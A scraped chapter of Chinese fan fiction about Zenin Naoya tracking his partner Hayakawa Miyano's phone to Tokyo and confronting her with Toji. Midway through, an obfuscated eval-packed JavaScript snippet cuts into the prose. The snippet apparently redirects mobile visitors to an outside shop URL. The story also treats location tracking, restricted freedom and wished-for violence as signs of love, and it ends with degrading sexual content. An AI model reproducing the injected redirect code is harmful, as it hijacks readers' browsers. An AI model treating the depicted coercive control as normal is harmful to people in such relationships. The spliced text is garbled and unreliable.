第76章第七十六章(捉虫)
【开爽】
禅院直哉浑身的血液几乎都凝固了。
指尖的发白,耳骨响起心脏的抨击,瞳孔骤然缩紧。直哉的手指死死抓住手机,掐进掌心。
头顶的白炽灯晃着他的眼睛都开始发痛起来,他就那样沉寂的站在房间里,像一尊雕像。
额前的发丝挡住他的半张脸,让人看不真切表情。
屏幕上显示的两个字像是加粗版的一样,在他的瞳孔中无限的放大…放大,大到他的眼前都开始发虚。
东京。
早川宫野
去了东京。
那一瞬间禅院直哉几乎想了很多东西。
她什么时候离开的?她什么时候走的?她和谁去的?还会回来吗?她决定一辈子在东京了吗?
……
她就那么喜欢甚尔君吗?
就那么喜欢,喜欢到从很久以前开始就在不间断的联系,喜欢到愿意放下一切和他私奔,喜欢到愿意陪他离开这座一直生活的城市,和他一起去一个完全陌生的城市。
就那么那么的……喜欢他?
禅院直哉坐下身,他似乎比他想象的要冷静很多,冷静到手脚发冷,冷静到大脑一团乱麻。
他一直以为早川宫野只是单方面的爱慕甚尔。
因为甚尔君足够强大,强大到就算早川对他有一些不轨的心思,他都觉得可以勉强接受。
——因为甚尔君是绝对不会喜欢这种女人的。
早川宫野这种……古怪的、伪善的、恶劣的、坏心思非常多的、不会撒娇不会露出柔软的一面,xp还那么奇怪的女人的。
难道早川就不明白,甚尔君根本就不是真的喜欢她的吗?
……与其说喜欢,倒不如说像甚尔君这种强大的人,是根本不屑于爱的吧。
尤其还是早川这种女人。
早川宫野难道还不明白吗?
只有他、只有他才是这个世界上唯一会对她好,唯一会真正对待她,愿意去接纳她一切恶劣的人啊——
和他一起永远的缠绕在一起不就好了吗?
那些接近她的人都是骗子,不管是之前那个旁系,还是现在的甚尔。
没有人会真心对待她的。
除了他。
“……”
手中的茶一直捏在手中许久,茶水已经放凉,在白瓷的内壁轻轻晃动。
直哉低
头,指尖刷新了一下定位,屏幕上依然显示着定位:东京。
“蠢女人……”
早川这个蠢货。
甚尔君怎么看都是那种不会温柔的类型吧,在床上被弄烦了还会很粗鲁对待,玩腻了就会随手丢在一边。
早川宫野这种不会服软还不会撒娇的女人……
啧……
他烦躁的闭了闭眼,向后躺在沙发上,手掌挡住眼睛上方的灯光,揉搓着发胀的太阳穴。
他已经检查过了,早川拿走了他的钱包和她自己的手机外,并没有拿走任何东西。
钱包里有几张卡,但已经在半个月前被他停用了。
早川拿钱包是干什么,被甚尔君强迫的吗?
……
去东京呢?
去东京也是被甚尔强迫的吗?
……
出轨是不是也……
昏暗的房间里,禅院直哉额前的眉头深深蹙起。
他已经好几个晚上没睡好觉了,现在更是头疼欲裂。
“烦**……”
他睁开眼,琥珀色的瞳孔低垂着看着桌上的茶杯。
杯子里的水还是没有动,头顶的白炽灯照在杯中,像白色的月亮。
禅院直哉站起身,直奔好友的院子。
现在是凌晨2点,藤原刚准备睡一下,房门突然被一脚踹开。
还没来得及反应过来,直哉丢下几张证件。
“给我买明天上午到东京的票。”
证件飘飘然的落下,砸在他的被褥上。藤原抬头,看着对方居高临下的视线,缓缓抛出两个字:“现在……?”
禅院直哉没说话,他面无表情的注视已经说明了一切。
“……抱歉,我现在就买。”
藤原爬起身,抱来电脑。
直哉盘着腿坐在一旁的榻榻米上,撑着下巴不知道在想些什么。
他在想早川现在的处境怎么样。
虽然他一直有想过早川会一脸惨兮兮地回来找他,但也只是想早川宫野在真切的体会到,外部的社会根本就不如禅院里的一根指头后,受于外界生活的压力可怜兮兮的回来。
而不是被人欺负,或者是被人打了,才可怜兮兮的回来。
更何况现在她去了另一个城市,如果真的出了什么事,他根本都没有办法第一时间赶到。
“……”
不过如果被甚尔君打了,回禅院后就更离不开他了吧?
既失去了对外界的憧憬,又可以让早川死
心塌地的永远不再出禅院?
如果被打的更狠了,说不定会除了他之外,开始恐惧会杜绝所有的男性?
“啧……”
直哉皱眉,烦躁了一声。
还是不行…
一想到早川被人欺负,现在就想**了。
……烦**早川宫野,这个蠢女人,就算找小三老老实实找一个比他弱、只吃白饭的小白脸不行吗?现在都不好收场了。
禅院直哉每烦躁一声,藤原的手就抖一下。
夜间购买第二天的票并不好买,藤原在翻遍了几乎所有的网站和中介后,还买到了第二天上午10:30的票。
直哉没说什么,只是站起身准备回去。
“那个,直哉君,突然去东京是出什么事了吗?”
藤原的手放在电脑上,作出准备“关”的动作。
直哉垂眸,不知道为什么,他总感觉这里问的是早川宫野。
“没有。”
他头也不回,离开了。
#
直哉来东京的次数并不少,但他从来没来过这么窄小的巷子。
虽然是在二环内,但周围的环境,以及巷口窄小的长度,总让直哉一度感觉身处贫民窟之类的地方。
他看着手里的定位,自己所在的位置与手机上的定位完美重合。
直哉蹙眉,缓缓吐了一口气,走上了楼。
这栋楼看上去已经很久没有人住了,四面几乎没有住户的说话声,四面也没有树,环境看上去也不怎么好。
只有三楼传来隐隐约约非常微小,他却十分熟悉的声音。
早川宫野
直哉几乎是下意识的心跳落了一拍,两步并跨的上了楼梯。
脑海中不断闪过自己曾经作为上位者,居高临下看着脚边匍匐着别人时的画面。只不过那一张张鼻青脸肿的面庞,都被换成了早川。
明明爬的楼层并不高,可他却有些喘息起来。
直哉站在一扇绿色的铁门前。
铁门已经斑驳,绿色的铁皮已经脱落,到处都是一副溃败残缺的模样。两边的白色墙面已经被水泡着掉皮,空气中也全是灰尘的味道。
他紧紧皱着眉,无端的开始紧张。刚才那一声微弱的像是在呼救。直哉无法想象早川被欺凌时的模样,他甚至现在就想冲进去抱住她。
直哉垂下眸,刚准备抬起手。
“好嘛……等主编把压的钱退给我后,到时候请甚尔君吃大餐好啰。”
刚抬起的手
熟悉的声音。
声音与他隔得非常的近每一个字眼每一句话甚至每一个感叹词他都可以听得一清二楚。
像是依然回到了在禅院时的那样早川也经常会用这样的口吻对他说话。
在听见她声音的那一刻心底好像有什么石头悄然落地。但紧随而至的是几乎比刚才的紧张及担忧更加浓厚的暗沉。
……**。
禅院直哉攥紧拳头琥珀色的瞳孔骤冷。
就那么开心吗?
他没有立刻敲门而是眼神阴鸷的站在门口一如之前在禅院时的那样隔着一堵墙静静听她的呼吸声。
而现在站在门口听她和甚尔的对话声。
几乎和所有情侣之间的对话一样非常的和谐每一句话都像带着笑意。
“在吃醋吗甚尔君。”
“咦……好狡猾的哦。”
“独特的家庭主夫式转移话题吗?那很甚尔了。”
“在向我报备吗?比直哉还上道哦?”
“……”
所有的所有他全都听见了。
几乎每五句话中有三句话早川宫野都会喊一次“甚尔君”。
和那个时候一样只不过现在是把“直哉君”变成了“甚尔君。”
禅院直哉已经无法用言语来形容此时此刻的心情了他像是冷静到t?了极点齿间开始不断的撕咬下唇的软肉直到舌尖轻触留下铁锈的味道。
直到对话的声音渐远他在门口已经听不见任何声音了直哉才动了一下瞳孔。
他似乎真的比以前冷静了很多如果是放在以前恐怕现在已经开始踹门或者是暴力破门了。
该说不愧都是托早川的福么?每一天都在训练他的抗压能力。
直哉抬手一开始还只是力度比较温和的拍门声但随着时间的流逝在听不见屋内的任何声音后他的心情逐渐烦躁起来。
“好嘛不要再敲啦来找甚尔的吗?”
轻快的话语上扬的语调。但当这两句话全部都不是用在他身上时直哉只觉得无比恶心。
“嘎吱——”
不知道过了很久铁门发出沉重的声响门开了。
这是继早川叛逃后的半个月以来直哉第一次看见她。
她穿着一件他从来没有见过的衣服发丝依然散落在肩膀的两侧早川距离他站着很远露出半个身子探头望
他。
禅院直哉这才看清,开门的是甚尔。
早川宫野站在甚尔身后。
“啊——是直哉啊。”
抑扬顿挫的声音,幼年时一直仰慕的人,正挡在他的女人面前,把她护在身后。
直哉咬了一下下唇内壁,咬出了血。
#
房间很小,地面很湿滑。很明显是刚刚拖过的痕迹,还留下了拖把蜿蜒时的迹象。
老式的冰箱,老式的电视机,老式的沙发。除了沙发旁的窗户光线不错之外,几乎没有任何优点。
抬眸看了一眼走在沙发前的早川,她的脸色没有任何变化,依然是一副若无其事无所谓的模样。
一只漂亮且**色光泽的布偶猫在这种地方生活一定是十分糟糕的,哪怕地面已经拖得十分干净了,但任何一个细小的角落都可能会弄脏它漂亮的绒毛。
直哉不知道甚尔把他叫进来坐坐是什么意思,明明偷情被正宫找上门来的小三是他,可他却神情懒散,像是被好友过来串门的一样。
早川宫野也一面若无其事的表情,两个人倒是在这一刻般配的很。
“要喝点什么吗,直哉。”
早川坐在主位的沙发上,伸手给他从一旁的包里拿了一瓶矿泉水:“不过只有这个,家里还没收拾完。”
“家?”
直哉讥笑出声,他看了一眼主位上的早川,又抬眸看了一眼窗口抽烟的甚尔。
“你和谁的家?我不记得我有在这里买过房子。”
早川摊手:“这不是显而易见的吗?”
直哉不知道他们两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250703|197923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个为什么能这么一副神情自若的表情,一个若无其事的招待客人,另一个一服什么都没发生的样子,站在窗口抽烟。
仿佛他才是那个打扰家庭的第三者。
直哉根本没那么多闲心和早川闲聊,闲聊的话他刚才在门口已经听的够多了。
他的表情骤然变冷,逼问:“你离开禅院是什么意思。”
早川咦了一声:“什么意思?我都离开京都了,还能是什么意思。”
她笑道:“直哉,你过来是做社区调查的吗?”
早川宫野向前坐了几分,突然凑近他,褐色的瞳孔闪亮的发光:“离开禅院的意思就是——我们已经没有任何关系了。”
在来的路上明明都已经做好这种准备了,可是当真真切切的听到这句话时,心脏却还是如同被一只大手紧紧攥住有些喘不过气来。
直哉语气低沉:“我没有同意和你分手。”
“分手是不需要同意的。”
早川见他不准备喝便拿起那瓶矿泉水瓶放在自己面前。语气像两个人在说着什么八卦一般随意:“直哉啊你太贱了。你懂我的意思吗我已经受够每一次不管什么小事张口闭口的就是**、贱女人之类的话语了。”
“不是我变心了而是你在不断的消耗我对你的爱意。”
她放低了语气褐色的瞳孔注视着他:“是你在逼我分手这一切不正是你所渴望的吗?”
“我当然——!”
[我当然没有]的话语没能说完直哉看了一眼甚尔他看着窗外甚至都没有注意到这边。
直哉缓缓吸了一口气企图平复心情。
“和我回去。”
他睁开眼语气缓和说出了那句经常说的话:“回去我们再谈。”
“no”
早川摇头:“我现在和甚尔君在一起欸我刚还交了4500的打扫费。”
“在一起?哈……你们以什么身份在一起?早川宫野你这个水性杨花的贱……!”
“咔吧!”
窗台的窗户突然被关上风吹的有些大了窗锁打在窗框上发出清脆的响声
直哉抬头正好对上甚尔的视线。
甚尔若无其事挥手散烟神色懒散的说了一句抱歉继续靠在窗台。
甚尔似乎并不打算加入这一场谈话。不过这样也好毕竟他早知道都是早川一厢情愿的。
直哉没有再继续刚才的话题气氛被打乱他只是神色不悦的看着她等着她的解释。
早川叹息:“为什么就不能好好接受爱人的突然变心和不爱了呢我是真的不想回去。”
“我可以不再限制你外出的次数。”
直哉发誓他的耐心已经达到极点了他冷着脸琥珀色的瞳孔像要将他吞噬:“和我回去。”
早川宫野深吸一口气露出无奈的表情。
恰巧这时房间里响起脚步声。
甚尔朝沙发的位置走过来。桌上放着烟盒和打火机直哉以为他是来拿烟的。
早川也以为他是来拿烟的烟盒就在她面前。
她伸手拿起桌上的烟盒刚抬起头准备递给他甚尔的手突然从上至下掐住她的脖颈迫使她更向后的扬起头。
早川还没反应过来一闪而过的黑色发丝
,她的眼前被黑色笼罩。紧接着,什么湿润的东西含住她的唇。
他的动作太顺其自然了,抬步走到她身后,掐住她的脖子,低下头和她接吻。
就在禅院直哉的面前,不到两米的距离。
空气中甚至能听见舌头缠绕的渍吮声。
空气似乎已经凝固了。
直哉已经完全的呆愣住了。
他们并没有接吻很久,这个角度不太好深入,所以甚尔很快的放开了她。
“你们刚才在说什么?啊……回去对吧。
唇边还带着些许水渍,他抬手,舌尖轻舔,神情几分晦涩不明:“太晚了,去别人家会很麻烦的。
“嘁!
脑子的弦在这一刻全部迸裂。在意识到刚才发生了什么后,直哉猛地站起身,他紧咬着下唇,琥珀色的瞳孔怒目圆瞪,手已经**前襟,摸到怀中的**。
直哉的胸口剧烈的起伏着,说出话语却冷的没有一丝温度:“甚尔君,你这是在知三当三知道吗?
“男小三吗……甚尔摩挲着下颚,若有所思:“很新奇的词。
他似乎轻笑一声,环抱起双臂,一副赞同的模样点点头:“嗯,不被爱的人才是小三。
空气中似乎什么东西在视线的交叠中燃烧起来了,焦点也逐渐从她变成了彼此双方。
早川向后靠在沙发里,兴致不错的看着两个男人明枪暗斗。
一个懒散若无其事,一个气的要死却隐忍怒意。
有趣有趣。
早川宫野翘着腿观望了一会,缓缓开口,打着圆场。
“好嘛,不要吵了。在家里打起来可就麻烦啰?
早川宫野站起身,似乎想到什么,两手一拍:“我有一个提议,既然大家都不知道该如何抉择——
“不如三个人在一起好了。
甚尔没说话。直哉则一脸怪异的表情看着她:“又在胡乱的说什么。
褐色的瞳孔眯起,早川宫野微微弯起嘴角:“一边是你从小就一直崇拜的人,一边是你喜欢女人。怎么看都好像很难抉择的样子呢……既然这样,大家一起3P好了。
像是提到让人高兴的点了,她轻笑一声,褐色的瞳孔闪烁着若有若无的亮光。
“三个人也刚好,直哉还是在下面好了。前面一个,后面一个,好好在身下把我们伺候舒服了,三个人把日子过好比什么都重要。
她笑起来,眉眼弯弯的像月亮,催促道:“呐……快点啦直哉,快点趴下来,要像狗一样四脚着地的趴在地上哦?